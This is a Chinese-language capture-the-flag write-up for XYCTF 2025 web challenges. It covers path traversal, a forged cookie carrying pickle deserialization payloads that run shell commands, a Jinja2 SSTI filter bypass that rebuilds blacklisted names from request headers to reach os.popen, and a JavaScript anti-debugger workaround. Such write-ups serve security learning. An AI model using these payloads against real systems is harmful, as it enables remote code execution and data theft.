XYCTF2025-WEB-signIn+nowYouSeeMe1+ezPuzzle
清明节不出去玩隔这打CTF坐牢来了属于,阴间CTF的musc web真是给我整麻了,XYCTF相比去年难度也涨了不少,我也没做几道题,比赛结束后还是整理,补一下题解吧,大佬轻喷
Signin
一道不是那么签到的签到题
考点包括了代码审计,目录穿越,pickle反序列化
首先下载题目附件:
1 | # -*- encoding: utf-8 -*- |
首先显然在/download
路由存在任意文件读取,即使有一些过滤,通过./../
的组合即可绕过。
读取secret.txt
:
1 | /download?filename=./.././../secret.txt |
1 | Hell0_H@cker_Y0u_A3r_Sm@r7 |
根据题目提示,此题需要RCE,但是乍一看没有什么RCE的点。
那么便可关注一些函数内部实现是否可能存在漏洞点。
对于此题,跟进bottle.request.get_cookie
方法(在pycharm中通过双击get_cookie右键->转到->实现 来跟进)
可以注意到存在pickle.loads
,且msg
对我们来说可控,此处可以通过pickle反序列化来RCE
根据测试,一个普通的cookie为这样的形式:
1 | !4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu |
简单分析一下这个get_cookie函数,首先传入key和secret,通过这个key来获取实际的value值(即cookie值),除去第一个感叹号,通过问号分隔,第一部分就是sig(校验部分),第二部分就是msg(信息部分),然后通过msg和secret判断sig是否正确来进行校验,校验通过即进入漏洞点。
知道了漏洞点,就构造payload进行RCE了,pickle反序列化漏洞原理可参考:pickle反序列化漏洞基础知识与绕过简析
这里选用一个最基础的payload:
1 | cos |
现在跟进set_cookie函数观察如何构造payload:
1 | def set_cookie( |
代码比较长,但是很明显value就是最后生成的cookie,其中encoded就是msg部分,它应当我们经过base64编码后的payload,
sig则是通过secret和encoded生成的。
首先将我们的payload进行base64得到encoded:
1 | from bottle import response |
最简单的方法就是直接修改一下set_cookie函数:
调用一下:
1 | from bottle import response |
1 | !wT81mihI9pGh6XuKnPBbJqZH8gAc3fYLNL59qgafrXg=?Y29zCnN5c3RlbQooUydscyAvID4gL3RtcC8xLnR4dCcKdFIu |
带着这个cookie去访问/secret
路由后,再访问/download?filename=./.././../tmp/1.txt
同理再读取flag:
1 | from bottle import response |
构造出cookie:
1 | !syU2tJNdRu/4e/dXwit1WZjHP5cS+uy2vdaUofhqLz0=?Y29zCnN5c3RlbQooUydjYXQgL2ZsYWdfZGRhMmQ0NjUtYWYzMy00YzU2LThjYzktZmQ0MzA2ODY3YjcwID4gL3RtcC8yLnR4dCcKdFIu |
读取flag:
1 | flag{We1c0me_t0_XYCTF_2o25!The_secret_1s_L@men7XU_L0v3_u!} |
ez_puzzle
进入题目环境是一个拼图游戏,提示说两秒内完成就给flag,尝试打开开发者工具
手动点击浏览器右上角三个点打开就行
简单测试一下,发现即使完成了拼图游戏,也并没有发现网络请求,那么flag很有可能是本地生成的
看一下js代码,经过了混淆处理,不太好分析,在最后弹窗提示了我们挑战失败,全局搜索一下alert
在if语句打一个断点
诶呀,有debugger阻止调试
右键添加到脚本忽略列表就行,让js代码接着往下走
在此处断住了
控制台调用一下看看
1 | flag{Y0u__aRe_a_mAsteR_of_PUzZL!!@!!~!} |
Now you see me 1
下载附件得到代码:
1 | # -*- encoding: utf-8 -*- |
中间有一部分base64编码,解码得到实际源码:
1 | # YOU FOUND ME ;) |
很明显,flask.render_template_string
处存在ssti模板注入,但是lock_within
过滤了很多东西,同时还有audit_checker钩子函数,以及del掉了很多命令执行函数
传入参数需要是Follow-your-heart-
开头,在flask.render_template_string
中还存在#
注释,因此传入
1 | ?My_ins1de_w0r1d=Follow-your-heart-#}{# |
绕过注释(注意此处可能需要将#替换为%23)
{{`与`}}
被过滤,用{%print(xxxxx)%}
代替
可以进行一个传参测试:
1 | ?My_ins1de_w0r1d=Follow-your-heart-%23}{%print(config)%}{%23 |
很多关键词,字符都被过滤了
经过测试发现,request.mimetype
,request.authorization.type
,request.authorization.token
,request.origin
,request.referrer
这几个方法可用,且可以自定义传入数据
在构造正式payload前,可以先本地起一个没有lock_within
过滤的环境(需要linux环境,windows环境可能有区别),测试不会触发构造函数的payload:
1 | # YOU FOUND ME ;) |
经过测试,我们本次选择<class 'click.utils.LazyFile'>
类,其他选择可参考:python 沙箱逃逸与SSTI ~ Misaki’s Blog
经过测试
1 | #}{%print(().__class__.__base__.__subclasses__()[389].__init__.__globals__.__getitem__('__builtins__').eval('print(1)'))%}{# |
可行
这个389可以先访问获取().__class__.__base__.__subclasses__()
后,使用脚本找:
1 | a = ["<class 'type'>", "<class 'async_generator'>", "<class 'int'>", "<class 'bytearray_iterator'>", "<class 'bytearray'>", "<class 'bytes_iterator'>", "<class 'bytes'>", "<class 'builtin_function_or_method'>", "<class 'callable_iterator'>", "<class 'PyCapsule'>", "<class 'cell'>", "<class 'classmethod_descriptor'>", "<class 'classmethod'>", "<class 'code'>", "<class 'complex'>", "<class 'coroutine'>", "<class 'dict_items'>", "<class 'dict_itemiterator'>", "<class 'dict_keyiterator'>", "<class 'dict_valueiterator'>", "<class 'dict_keys'>", "<class 'mappingproxy'>", "<class 'dict_reverseitemiterator'>", "<class 'dict_reversekeyiterator'>", "<class 'dict_reversevalueiterator'>", "<class 'dict_values'>", "<class 'dict'>", "<class 'ellipsis'>", "<class 'enumerate'>", "<class 'float'>", "<class 'frame'>", "<class 'frozenset'>", "<class 'function'>", "<class 'generator'>", "<class 'getset_descriptor'>", "<class 'instancemethod'>", "<class 'list_iterator'>", "<class 'list_reverseiterator'>", "<class 'list'>", "<class 'longrange_iterator'>", "<class 'member_descriptor'>", "<class 'memoryview'>", "<class 'method_descriptor'>", "<class 'method'>", "<class 'moduledef'>", "<class 'module'>", "<class 'odict_iterator'>", "<class 'pickle.PickleBuffer'>", "<class 'property'>", "<class 'range_iterator'>", "<class 'range'>", "<class 'reversed'>", "<class 'symtable entry'>", "<class 'iterator'>", "<class 'set_iterator'>", "<class 'set'>", "<class 'slice'>", "<class 'staticmethod'>", "<class 'stderrprinter'>", "<class 'super'>", "<class 'traceback'>", "<class 'tuple_iterator'>", "<class 'tuple'>", "<class 'str_iterator'>", "<class 'str'>", "<class 'wrapper_descriptor'>", "<class 'types.GenericAlias'>", "<class 'anext_awaitable'>", "<class 'async_generator_asend'>", "<class 'async_generator_athrow'>", "<class 'async_generator_wrapped_value'>", "<class 'coroutine_wrapper'>", "<class 'InterpreterID'>", "<class 'managedbuffer'>", "<class 'method-wrapper'>", "<class 'types.SimpleNamespace'>", "<class 'NoneType'>", "<class 'NotImplementedType'>", "<class 'weakcallableproxy'>", "<class 'weakproxy'>", "<class 'weakref'>", "<class 'types.UnionType'>", "<class 'EncodingMap'>", "<class 'fieldnameiterator'>", "<class 'formatteriterator'>", "<class 'BaseException'>", "<class 'hamt'>", "<class 'hamt_array_node'>", "<class 'hamt_bitmap_node'>", "<class 'hamt_collision_node'>", "<class 'keys'>", "<class 'values'>", "<class 'items'>", "<class '_contextvars.Context'>", "<class '_contextvars.ContextVar'>", "<class '_contextvars.Token'>", "<class 'Token.MISSING'>", "<class 'filter'>", "<class 'map'>", "<class 'zip'>", "<class '_frozen_importlib._ModuleLock'>", "<class '_frozen_importlib._DummyModuleLock'>", "<class '_frozen_importlib._ModuleLockManager'>", "<class '_frozen_importlib.ModuleSpec'>", "<class '_frozen_importlib.BuiltinImporter'>", "<class '_frozen_importlib.FrozenImporter'>", "<class '_frozen_importlib._ImportLockContext'>", "<class '_thread.lock'>", "<class '_thread.RLock'>", "<class '_thread._localdummy'>", "<class '_thread._local'>", "<class '_io._IOBase'>", "<class '_io._BytesIOBuffer'>", "<class '_io.IncrementalNewlineDecoder'>", "<class 'nt.ScandirIterator'>", "<class 'nt.DirEntry'>", "<class 'PyHKEY'>", "<class '_frozen_importlib_external.WindowsRegistryFinder'>", "<class '_frozen_importlib_external._LoaderBasics'>", "<class '_frozen_importlib_external.FileLoader'>", "<class '_frozen_importlib_external._NamespacePath'>", "<class '_frozen_importlib_external._NamespaceLoader'>", "<class '_frozen_importlib_external.PathFinder'>", "<class '_frozen_importlib_external.FileFinder'>", "<class 'codecs.Codec'>", "<class 'codecs.IncrementalEncoder'>", "<class 'codecs.IncrementalDecoder'>", "<class 'codecs.StreamReaderWriter'>", "<class 'codecs.StreamRecoder'>", "<class '_multibytecodec.MultibyteCodec'>", "<class '_multibytecodec.MultibyteIncrementalEncoder'>", "<class '_multibytecodec.MultibyteIncrementalDecoder'>", "<class '_multibytecodec.MultibyteStreamReader'>", "<class '_multibytecodec.MultibyteStreamWriter'>", "<class '_abc._abc_data'>", "<class 'abc.ABC'>", "<class 'collections.abc.Hashable'>", "<class 'collections.abc.Awaitable'>", "<class 'collections.abc.AsyncIterable'>", "<class 'collections.abc.Iterable'>", "<class 'collections.abc.Sized'>", "<class 'collections.abc.Container'>", "<class 'collections.abc.Callable'>", "<class 'os._wrap_close'>", "<class 'os._AddedDllDirectory'>", "<class '_sitebuiltins.Quitter'>", "<class '_sitebuiltins._Printer'>", "<class '_sitebuiltins._Helper'>", "<class '_distutils_hack._TrivialRe'>", "<class '_distutils_hack.DistutilsMetaFinder'>", "<class '_distutils_hack.shim'>", "<class 'types.DynamicClassAttribute'>", "<class 'types._GeneratorWrapper'>", "<class 'warnings.WarningMessage'>", "<class 'warnings.catch_warnings'>", "<class 'importlib._abc.Loader'>", "<class 'itertools.accumulate'>", "<class 'itertools.combinations'>", "<class 'itertools.combinations_with_replacement'>", "<class 'itertools.cycle'>", "<class 'itertools.dropwhile'>", "<class 'itertools.takewhile'>", "<class 'itertools.islice'>", "<class 'itertools.starmap'>", "<class 'itertools.chain'>", "<class 'itertools.compress'>", "<class 'itertools.filterfalse'>", "<class 'itertools.count'>", "<class 'itertools.zip_longest'>", "<class 'itertools.pairwise'>", "<class 'itertools.permutations'>", "<class 'itertools.product'>", "<class 'itertools.repeat'>", "<class 'itertools.groupby'>", "<class 'itertools._grouper'>", "<class 'itertools._tee'>", "<class 'itertools._tee_dataobject'>", "<class 'operator.attrgetter'>", "<class 'operator.itemgetter'>", "<class 'operator.methodcaller'>", "<class 'reprlib.Repr'>", "<class 'collections.deque'>", "<class '_collections._deque_iterator'>", "<class '_collections._deque_reverse_iterator'>", "<class '_collections._tuplegetter'>", "<class 'collections._Link'>", "<class 'functools.partial'>", "<class 'functools._lru_cache_wrapper'>", "<class 'functools.KeyWrapper'>", "<class 'functools._lru_list_elem'>", "<class 'functools.partialmethod'>", "<class 'functools.singledispatchmethod'>", "<class 'functools.cached_property'>", "<class 'contextlib.ContextDecorator'>", "<class 'contextlib.AsyncContextDecorator'>", "<class 'contextlib._GeneratorContextManagerBase'>", "<class 'contextlib._BaseExitStack'>", "<class '__future__._Feature'>", "<class 'enum.auto'>", "<enum 'Enum'>", "<class 're.Pattern'>", "<class 're.Match'>", "<class '_sre.SRE_Scanner'>", "<class 'sre_parse.State'>", "<class 'sre_parse.SubPattern'>", "<class 'sre_parse.Tokenizer'>", "<class 're.Scanner'>", "<class 'typing._Final'>", "<class 'typing._Immutable'>", "<class 'typing._TypeVarLike'>", "<class 'typing.Generic'>", "<class 'typing._TypingEmpty'>", "<class 'typing._TypingEllipsis'>", "<class 'typing.Annotated'>", "<class 'typing.NamedTuple'>", "<class 'typing.TypedDict'>", "<class 'typing.NewType'>", "<class 'typing.io'>", "<class 'typing.re'>", "<class '_json.Scanner'>", "<class '_json.Encoder'>", "<class 'json.decoder.JSONDecoder'>", "<class 'json.encoder.JSONEncoder'>", "<class 'selectors.BaseSelector'>", "<class '_socket.socket'>", "<class '_weakrefset._IterationGuard'>", "<class '_weakrefset.WeakSet'>", "<class 'threading._RLock'>", "<class 'threading.Condition'>", "<class 'threading.Semaphore'>", "<class 'threading.Event'>", "<class 'threading.Barrier'>", "<class 'threading.Thread'>", "<class 'socketserver.BaseServer'>", "<class 'socketserver._NoThreads'>", "<class 'socketserver.ThreadingMixIn'>", "<class 'socketserver.BaseRequestHandler'>", "<class 'datetime.date'>", "<class 'datetime.time'>", "<class 'datetime.timedelta'>", "<class 'datetime.tzinfo'>", "<class 'weakref.finalize._Info'>", "<class 'weakref.finalize'>", "<class '_random.Random'>", "<class '_sha512.sha384'>", "<class '_sha512.sha512'>", "<class 'urllib.parse._ResultMixinStr'>", "<class 'urllib.parse._ResultMixinBytes'>", "<class 'urllib.parse._NetlocResultMixinBase'>", "<class 'calendar._localized_month'>", "<class 'calendar._localized_day'>", "<class 'calendar.Calendar'>", "<class 'calendar.different_locale'>", "<class 'email._parseaddr.AddrlistClass'>", "<class '_struct.Struct'>", "<class '_struct.unpack_iterator'>", "<class 'string.Template'>", "<class 'string.Formatter'>", "<class 'email.charset.Charset'>", "<class 'email.header.Header'>", "<class 'email.header._ValueFormatter'>", "<class 'email._policybase._PolicyBase'>", "<class 'email.feedparser.BufferedSubFile'>", "<class 'email.feedparser.FeedParser'>", "<class 'email.parser.Parser'>", "<class 'email.parser.BytesParser'>", "<class 'email.message.Message'>", "<class 'http.client.HTTPConnection'>", "<class '_ssl._SSLContext'>", "<class '_ssl._SSLSocket'>", "<class '_ssl.MemoryBIO'>", "<class '_ssl.SSLSession'>", "<class '_ssl.Certificate'>", "<class 'ssl.SSLObject'>", "<class '_winapi.Overlapped'>", "<class 'mimetypes.MimeTypes'>", "<class 'zlib.Compress'>", "<class 'zlib.Decompress'>", "<class '_bz2.BZ2Compressor'>", "<class '_bz2.BZ2Decompressor'>", "<class '_lzma.LZMACompressor'>", "<class '_lzma.LZMADecompressor'>", "<class 'tokenize.Untokenizer'>", "<class 'traceback._Sentinel'>", "<class 'traceback.FrameSummary'>", "<class 'traceback.TracebackException'>", "<class 'logging.LogRecord'>", "<class 'logging.PercentStyle'>", "<class 'logging.Formatter'>", "<class 'logging.BufferingFormatter'>", "<class 'logging.Filter'>", "<class 'logging.Filterer'>", "<class 'logging.PlaceHolder'>", "<class 'logging.Manager'>", "<class 'logging.LoggerAdapter'>", "<class 'werkzeug._internal._Missing'>", "<class 'ast.AST'>", "<class 'markupsafe._MarkupEscapeHelper'>", "<class 'werkzeug.exceptions.Aborter'>", "<class 'werkzeug.datastructures.mixins.ImmutableListMixin'>", "<class 'werkzeug.datastructures.mixins.ImmutableHeadersMixin'>", "<class '_hashlib.HASH'>", "<class '_hashlib.HMAC'>", "<class '_blake2.blake2b'>", "<class '_blake2.blake2s'>", "<class 'tempfile._RandomNameSequence'>", "<class 'tempfile._TemporaryFileCloser'>", "<class 'tempfile._TemporaryFileWrapper'>", "<class 'tempfile.SpooledTemporaryFile'>", "<class 'tempfile.TemporaryDirectory'>", "<class 'urllib.request.Request'>", "<class 'urllib.request.OpenerDirector'>", "<class 'urllib.request.BaseHandler'>", "<class 'urllib.request.HTTPPasswordMgr'>", "<class 'urllib.request.AbstractBasicAuthHandler'>", "<class 'urllib.request.AbstractDigestAuthHandler'>", "<class 'urllib.request.URLopener'>", "<class 'urllib.request.ftpwrapper'>", "<class 'werkzeug.datastructures.auth.Authorization'>", "<class 'werkzeug.datastructures.auth.WWWAuthenticate'>", "<class 'ast.NodeVisitor'>", "<class 'dis.Bytecode'>", "<class 'inspect.BlockFinder'>", "<class 'inspect._void'>", "<class 'inspect._empty'>", "<class 'inspect.Parameter'>", "<class 'inspect.BoundArguments'>", "<class 'inspect.Signature'>", "<class 'werkzeug.datastructures.headers.Headers'>", "<class 'werkzeug.datastructures.file_storage.FileStorage'>", "<class 'werkzeug.datastructures.range.IfRange'>", "<class 'werkzeug.datastructures.range.Range'>", "<class 'werkzeug.datastructures.range.ContentRange'>", "<class 'colorama.ansi.AnsiCodes'>", "<class 'colorama.ansi.AnsiCursor'>", "<class 'CArgObject'>", "<class '_ctypes.CThunkObject'>", "<class '_ctypes._CData'>", "<class '_ctypes.CField'>", "<class '_ctypes.DictRemover'>", "<class '_ctypes.StructParam_Type'>", "<class 'ctypes.CDLL'>", "<class 'ctypes.LibraryLoader'>", "<class 'colorama.winterm.WinColor'>", "<class 'colorama.winterm.WinStyle'>", "<class 'colorama.winterm.WinTerm'>", "<class 'colorama.ansitowin32.StreamWrapper'>", "<class 'colorama.ansitowin32.AnsiToWin32'>", "<class 'werkzeug.serving.ForkingMixIn'>", "<class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>", "<class 'dataclasses._MISSING_TYPE'>", "<class 'dataclasses._KW_ONLY_TYPE'>", "<class 'dataclasses._FIELD_BASE'>", "<class 'dataclasses.InitVar'>", "<class 'dataclasses.Field'>", "<class 'dataclasses._DataclassParams'>", "<class 'werkzeug.sansio.multipart.Event'>", "<class 'werkzeug.sansio.multipart.MultipartDecoder'>", "<class 'werkzeug.sansio.multipart.MultipartEncoder'>", "<class 'pkgutil.ImpImporter'>", "<class 'pkgutil.ImpLoader'>", "<class 'unicodedata.UCD'>", "<class 'hmac.HMAC'>", "<class 'werkzeug.wsgi.ClosingIterator'>", "<class 'werkzeug.wsgi.FileWrapper'>", "<class 'werkzeug.wsgi._RangeWrapper'>", "<class 'werkzeug.formparser.FormDataParser'>", "<class 'werkzeug.formparser.MultiPartParser'>", "<class 'werkzeug.user_agent.UserAgent'>", "<class 'werkzeug.sansio.request.Request'>", "<class 'werkzeug.sansio.response.Response'>", "<class 'werkzeug.wrappers.response.ResponseStream'>", "<class 'werkzeug.test.EnvironBuilder'>", "<class 'werkzeug.test.Client'>", "<class 'werkzeug.test.Cookie'>", "<class 'werkzeug.local.Local'>", "<class 'werkzeug.local.LocalManager'>", "<class 'werkzeug.local._ProxyLookup'>", "<class 'decimal.Decimal'>", "<class 'decimal.Context'>", "<class 'decimal.SignalDictMixin'>", "<class 'decimal.ContextManager'>", "<class 'numbers.Number'>", "<class 'uuid.UUID'>", "<class 'flask.json.provider.JSONProvider'>", "<class 'gettext.NullTranslations'>", "<class 'click._compat._FixupStream'>", "<class 'click._compat._AtomicFile'>", "<class 'click._winconsole.ConsoleStream'>", "<class 'click.utils.LazyFile'>", "<class 'click.utils.KeepOpenFile'>", "<class 'click.utils.PacifyFlushWrapper'>", "<class 'click.types.ParamType'>", "<class 'click.parser.Option'>", "<class 'click.parser.Argument'>", "<class 'click.parser.ParsingState'>", "<class 'click.parser.OptionParser'>", "<class 'click.formatting.HelpFormatter'>", "<class 'click.core.Context'>", "<class 'click.core.BaseCommand'>", "<class 'click.core.Parameter'>", "<class 'werkzeug.routing.converters.BaseConverter'>", "<class 'difflib.SequenceMatcher'>", "<class 'difflib.Differ'>", "<class 'difflib.HtmlDiff'>", "<class 'pprint._safe_key'>", "<class 'pprint.PrettyPrinter'>", "<class 'werkzeug.routing.rules.RulePart'>", "<class 'werkzeug.routing.rules.RuleFactory'>", "<class 'werkzeug.routing.rules.RuleTemplate'>", "<class 'werkzeug.routing.matcher.State'>", "<class 'werkzeug.routing.matcher.StateMachineMatcher'>", "<class 'werkzeug.routing.map.Map'>", "<class 'werkzeug.routing.map.MapAdapter'>", "<class '_csv.Dialect'>", "<class '_csv.reader'>", "<class '_csv.writer'>", "<class 'csv.Dialect'>", "<class 'csv.DictReader'>", "<class 'csv.DictWriter'>", "<class 'csv.Sniffer'>", "<class 'pathlib._Flavour'>", "<class 'pathlib._Accessor'>", "<class 'pathlib._Selector'>", "<class 'pathlib._TerminatingSelector'>", "<class 'pathlib.PurePath'>", "<class 'zipfile.ZipInfo'>", "<class 'zipfile.LZMACompressor'>", "<class 'zipfile.LZMADecompressor'>", "<class 'zipfile._SharedFile'>", "<class 'zipfile._Tellable'>", "<class 'zipfile.ZipFile'>", "<class 'zipfile.Path'>", "<class 'textwrap.TextWrapper'>", "<class 'importlib.abc.Finder'>", "<class 'importlib.abc.MetaPathFinder'>", "<class 'importlib.abc.PathEntryFinder'>", "<class 'importlib.abc.ResourceReader'>", "<class 'importlib.metadata.Sectioned'>", "<class 'importlib.metadata.Deprecated'>", "<class 'importlib.metadata.FileHash'>", "<class 'importlib.metadata.Distribution'>", "<class 'importlib.metadata.DistributionFinder.Context'>", "<class 'importlib.metadata.FastPath'>", "<class 'importlib.metadata.Lookup'>", "<class 'importlib.metadata.Prepared'>", "<class 'subprocess.STARTUPINFO'>", "<class 'subprocess.CompletedProcess'>", "<class 'subprocess.Popen'>", "<class 'platform._Processor'>", "<class 'blinker._utilities.Symbol'>", "<class 'blinker.base.Signal'>", "<class 'flask.cli.ScriptInfo'>", "<class 'flask.ctx._AppCtxGlobals'>", "<class 'flask.ctx.AppContext'>", "<class 'flask.ctx.RequestContext'>", "<class '_pickle.Pdata'>", "<class '_pickle.PicklerMemoProxy'>", "<class '_pickle.UnpicklerMemoProxy'>", "<class '_pickle.Pickler'>", "<class '_pickle.Unpickler'>", "<class 'pickle._Framer'>", "<class 'pickle._Unframer'>", "<class 'pickle._Pickler'>", "<class 'pickle._Unpickler'>", "<class 'jinja2.bccache.Bucket'>", "<class 'jinja2.bccache.BytecodeCache'>", "<class 'jinja2.utils.MissingType'>", "<class 'jinja2.utils.LRUCache'>", "<class 'jinja2.utils.Cycler'>", "<class 'jinja2.utils.Joiner'>", "<class 'jinja2.utils.Namespace'>", "<class 'jinja2.nodes.EvalContext'>", "<class 'jinja2.nodes.Node'>", "<class 'jinja2.visitor.NodeVisitor'>", "<class 'jinja2.idtracking.Symbols'>", "<class 'jinja2.compiler.MacroRef'>", "<class 'jinja2.compiler.Frame'>", "<class 'jinja2.runtime.TemplateReference'>", "<class 'jinja2.runtime.Context'>", "<class 'jinja2.runtime.BlockReference'>", "<class 'jinja2.runtime.LoopContext'>", "<class 'jinja2.runtime.Macro'>", "<class 'jinja2.runtime.Undefined'>", "<class 'jinja2.lexer.Failure'>", "<class 'jinja2.lexer.TokenStreamIterator'>", "<class 'jinja2.lexer.TokenStream'>", "<class 'jinja2.lexer.Lexer'>", "<class 'jinja2.parser.Parser'>", "<class 'jinja2.environment.Environment'>", "<class 'jinja2.environment.Template'>", "<class 'jinja2.environment.TemplateModule'>", "<class 'jinja2.environment.TemplateExpression'>", "<class 'jinja2.environment.TemplateStream'>", "<class 'jinja2.loaders.BaseLoader'>", "<class 'flask.sansio.scaffold.Scaffold'>", "<class 'itsdangerous.signer.SigningAlgorithm'>", "<class 'itsdangerous.signer.Signer'>", "<class 'itsdangerous._json._CompactJSON'>", "<class 'flask.json.tag.JSONTag'>", "<class 'flask.json.tag.TaggedJSONSerializer'>", "<class 'flask.sessions.SessionInterface'>", "<class 'flask.sansio.blueprints.BlueprintSetupState'>", "<class 'dotenv.parser.Position'>", "<class 'dotenv.parser.Reader'>", "<class 'dotenv.variables.Atom'>", "<class 'dotenv.main.DotEnv'>"] |
那么怎么获取__class__
等魔术方法呢?核心在于通过请求头来获取黑名单字符串,再使用|attr()
拼接来拼凑任意字符串
首先通过request.mimetype
可以获取Content-Type
请求头的内容,这里我选择将他作为字符集,配合__getitem__
来获取任意字符
例如,我传入Content-Type: abcdefghijklmnopqrstuvwxyz_
,那么request.mimetype|attr('__getitem__')(-1)
就是_
,而__getitem__
也是黑名单,怎么办?利用Origin
请求头传入__getitem__
,再调用request.origin
即可,组合起来就是:request.mimetype|attr(request.origin)(-1)
,这样就达成了获取任意需要的字符
字符之间可以使用~
来拼接成字符串
接下来一步步构造所需字符串即可,可使用以下代码进行快速构建:
1 | n = {'a':0,'b':1,'c':2,'d':3,'e':4,'f':5,'g':6,'h':7,'i':8,'j':9,'k':10,'l':11,'m':12,'n':13,'o':14,'p':15,'q':16,'r':17,'s':18,'t':19,'u':20,'v':21,'w':22,'x':23,'y':24,'z':25,'_':26} |
().__class__
等同于()|attr('__class__')
,照着这个样子拼接就行
给出一些我拼接好的:
1 | _ request.mimetype|attr(request.origin)(-1) |
os.popen
被删了不能直接用,这也是一开始没有直接调os而调eval的原因,使用__import__('os').popen('whoami').read()
重新导入即可RCE,命令执行的部分可以通过request.referrer
传入,当然慢慢拼接也可以,但是太麻烦了
到了这一步尝试读取flag,发现是一个非常大的文件,通过ifconfig
猜测题目出网,于是使用python3 -m http.server 8088
尝试开启python web服务下载flag
得到的flag文件扔进010看了一下,找到flag:
最后完整的exp:
1 | import requests |
1 | flag{N0w_y0u_sEEEEEEEEEEEEEEE_m3!!!!!!} |
now_you_see_me_2过滤了更多,最后还是差一点就写出来了,可惜没时间喽,就不献丑啦